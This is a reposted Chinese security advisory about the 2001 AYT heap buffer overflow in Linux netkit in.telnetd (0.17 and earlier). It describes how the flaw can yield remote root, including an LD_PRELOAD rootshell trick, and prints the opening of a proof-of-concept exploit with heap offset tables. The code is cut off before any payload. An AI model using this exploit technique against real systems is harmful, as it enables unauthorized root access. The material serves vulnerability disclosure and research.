Linux netkit in.telnetd远程溢出漏洞

2008-04-09 04:30:32来源:互联网 阅读 ()

Linux netkit in.telnetd远程溢出漏洞

发布日期:2001-08-10

更新日期:2001-08-10

受影响系统:netkit-telnet-0.17以及更低版本

- Red Hat Linux 5.2

- Red Hat Linux 6.2

- Red Hat Linux 7.0

- Red Hat Linux 7.1

- Debian Linux 2.2 alias potato描述:

scut@nb.in-berlin.de发现很多操作系统的telnetd存在AYT缓冲区溢出

漏洞。参见: http://security.nsfocus.com/showQuery.asp?bugID=1657

在他的公告中描述 Linux netkit-telnetd >= 0.14 是不受此问题影响的。但是最新的报

告显示,Linux netkit-telnetd <= 0.17版本都是受影响的。问题同样出在处理telnet协

议选项的函数中没有进行有效的边界检查,当使用某些选项('AYT')时,可能发生缓冲区

溢出。

在Linux系统下,如果用户可以获取对系统的本地访问权限,它可以通过telnetd的漏洞为

/bin/login设置环境变量,例如

LD_PRELOAD=/tmp/make-rootshell.so

如果用户没有本地访问权限,他可以覆盖一些块(chunk)结果,setenv(3)会使用这些

结构,并在用户可以控制的内存取中一个新的chunk,因此当环境变量重新分配内存时会

改变任意内存地址的值。

攻击者可能远程获取root权限。

测试方法:警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

zen-parse (zen-parse@gmx.net)提供了如下测试代码:

#include

#include

#include

#include

#include

#include

#include

/*********************************************************************

Proof of concept netkit-0.17-7 local root exploit.

Exploits buffer overflow in the AYT handling of in.telnetd,

due to bad logic in the handling of snprintf(), and

TESO advisory details were enough to allow me to put

controlable addresses in arbitary heap locations.

Heap based exploit. Overflow allows rewriting of some heap

data, which allowed me to put a new heap structure in the

input buffer, which let me do whatever I want.

'traceroute exploit story - By Dvorak, Synnergy Networks' was very

helpful. Also malloc.c was good.

*********************************************************************/

/*

Notes about exploit

1) RedHat 7.0, exploiting localhost

2) hostname is clarity.local

3) It probably won't work without at least a different setting for

the --size option, and probably the --name option as well. The

--name arguemnt is the hostname part of the string that gets

returned by the AYT command, which may be different to the name

of the address you are connecting to..

4) There are a lot of things that use the heap, making the size

depend on alot of factors.

5) You will might need to change some (or all) of the offsets.

This program does allow you to brute force, if the hostname returned

by the AYT command is not a multiple of 3 letters long.

It is also possibly (at least according to some quick testing I did)

exploitable on some (all?) servers with names that are multiples of three

letters long, using the Abort Output command to add 2 characters to the

output length, and exploit the heap in a similar manner to this method.

(You can only directly put user controlable characters in 2 out of 3

locations (ie: no AO will give you a multiple of 3 bytes on the heap, AO

will give you 2 more than a multiple of 3 bytes) with controllable

characters, but when you count the null added by the netoprintf(), and use

0 as an option to a do or will, you can sometimes create valid chunks that

point to locations you can control. I have only tested this method with a

simulation, but it seems it would probably work with the telnetd as well.

I will look into it when I have time. Maybe.)

. . _ _ _ _ . . _ _ _ . .

|_ _|_ _|_ _ . / / |\/| |_| _| | | ||\/| / | | ||_ | |

| | | | |_|. / / | | | _|.|_ |_|| | / |_ |_| _| \/

|

*********************************************************************/

#define SERVER_PORT 23

#define ENV 18628

int offset12[] = {

// netibuf[343]->the chunk start.

-4, 0xaa,

-5, 0xbb,

-6, 0xcc,

-7, 0x10,

-9, 0xdd,

-10, 0x68,

-12, 0xee,

-13, 0x88,

-14, 0x99,

0, 0x00

};

int offset3[]={

-1,0x00,

0,0

};

int *offsets=offset12;

int dalen = 0;

int big;

int small;

int mipl = 0;

int ninbufoffset;

标签:

版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com

特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有

相关文章

linux远程溢出,Linux netkit in.telnetd远程溢出漏洞相关推荐

  1. Windows远程登陆Linux桌面的方法(汇总大全)

    转自:http://blog.csdn.net/shaoguangleo/article/details/6589816 Windows远程登陆Linux桌面的方法 Putty 第一种:putty.其 ...

  2. Windows远程登陆Linux桌面的方法

    Windows远程登陆Linux桌面的方法 Putty 第一种:putty.其实这个工具并不是桌面客户端,它只不过是一个远程登陆Linux的命令提示工具,但是我们知道,在Linux中,命令基本上就是一 ...

  3. (转)Windows远程登陆Linux桌面的方法

    转载http://www.starming.com/index.php?action=plugin&v=wave&tpl=union&ac=viewgrouppost& ...

  4. [转] PuTTY + Xming 远程使用 Linux GUI

    [From] http://www.zw1840.com/blog/zw1840/2008/10/putty-xming-linux-gui.html By zw1840 on October 28, ...

  5. 远程管理linux系统工具,远程管理Linux系统工具的设计与实现Linux013

    一种远程管理Linux系统工具的设计与实现 摘  要 现在,Linux已经是应用比较广泛的操作系统之一,在其系统中有很多的服务.为了实现远程配置和管理Linux中的各种服务,需要有一种远程管理Linu ...

  6. python远程登录linux命令,Python+requests通过paramiko远程登录Linux执行sh命令

    在做自动化测试过程中, 偶尔需要登录Linux服务器执行一些sh命令.Python的paramiko模块, 遵循SSH2协议, 支持以加密和认证的方式远程连接服务器, 可用来连接远程linux主机, ...

  7. Linux下Debug模式启动Tomcat进行远程调试

    J2EE开发各类资源下载清单,  史上最全IT资源,点击进入! 一.      应用场景 在实际的测试过程中,可能会遇到由于程序执行的不间断性,我们无法构造测试场景来验证某个功能的正确性,只有通过代码 ...

  8. 利用XRDP远程登陆linux系统

      利用XRDP远程登陆linux系统 一般情况下我们用ssh客户端远程登陆inux系统,至于图形界面下的linux远程登陆工具,我们一般都会想到vnc,但它的安全性不够,在这里,我将介绍XRDP的安 ...

  9. windows远程桌面linux系统,Windows远程桌面控制Linux图文详解

    随着互联网的高速发展以及Linux企业应用的成熟,Linux被广泛应用于服务器领域,如何实现Linux的远程管理成为网络管理员的首要任务. 我们经常见到的几种最为常用的windows下远程管理Linu ...

最新文章

  1. Maven多工程的创建
  2. 禁止右键 巧妙破解右键被禁的方法
  3. 关于生成随机数的疑点
  4. sql2005收集作业相关历史记录
  5. VTK:Snippets之ViewportBorders
  6. 让NVIDIA Jetson AGX Xavier火力全开的秘密
  7. ios 使用webview 查找_iOS开发WKWebView与JS的交互
  8. 将Visual Studio打造成为Node.js IDE
  9. python 中self是怎样的一个参数_Python中self参数是什么?
  10. CSDN写博客添加代码两种方法
  11. python语言基础与应用 mooc答案_Python语言基础与应用_中国大学 MOOC_章节考试选修课答案...
  12. CAD用Ctrl+V复制粘贴东西的时候特别慢
  13. windows安全事件id汇总
  14. Xcelsius2008系统
  15. 键盘上打出省略号的方法
  16. 720度全景拍摄详细教程
  17. c#实现短信发送程序
  18. vue中如何在搜索框中实现关键字搜索
  19. disallow: /api.php,dz论坛如何禁止搜索引擎抓取任何内容?
  20. 越睡越累,原因竟然是这个!

热门文章

  1. 机器学习框架_编写生产级机器学习框架的经验教训
  2. 思维导图结构化梳理Java进阶方向
  3. matlab 正态分布面积,多元正态分布Matlab,概率区域
  4. 大数据python试卷_智慧树大数据分析的PYTHON基础期末考试满分答案
  5. nus计算机科学技术专业,新加坡国立大学计算机硕士专业介绍
  6. Java初学之标识符
  7. 极光推送技术原理:移动无线网络长连接(转自eoe移动开发门户)
  8. 应用ESP8266控制433M无线遥控电动幕布
  9. CSS3伪类和伪元素
  10. oracle 函数位图索引,位图索引